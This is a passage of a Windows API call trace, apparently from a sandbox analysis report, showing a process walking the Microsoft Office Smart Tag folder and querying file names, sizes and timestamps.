	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1
	[0050.574] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.574] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1276e0a8 | out: lpFileInformation=0x1276e0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.577] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.577] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1
	[0050.577] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1
	[0050.577] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1
	[0050.577] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.577] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), fInfoLevelId=0x0, lpFileInformation=0x1276e1e8 | out: lpFileInformation=0x1276e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7)) returned 1
	[0050.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e238 | out: lpFileInformation=0x1276e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380)) returned 1
	[0050.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e288 | out: lpFileInformation=0x1276e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580)) returned 1
	[0050.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e2d8 | out: lpFileInformation=0x1276e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380)) returned 1
	[0050.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e328 | out: lpFileInformation=0x1276e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80)) returned 1
	[0050.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e378 | out: lpFileInformation=0x1276e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380)) returned 1
	[0050.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e418 | out: lpFileInformation=0x1276e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380)) returned 1
	[0050.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e468 | out: lpFileInformation=0x1276e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80)) returned 1
	[0050.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e4b8 | out: lpFileInformation=0x1276e4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580)) returned 1
	[0050.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276e508 | out: lpFileInformation=0x1276e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80)) returned 1
	[0050.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), fInfoLevelId=0x0, lpFileInformation=0x1276e558 | out: lpFileInformation=0x1276e558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0050.583] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.583] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1276e648 | out: lpFileInformation=0x1276e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1
	[0050.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1
	[0050.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1
	[0050.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1
	[0050.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1
	[0050.584] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.584] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), fInfoLevelId=0x0, lpFileInformation=0x1276e878 | out: lpFileInformation=0x1276e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6)) returned 1
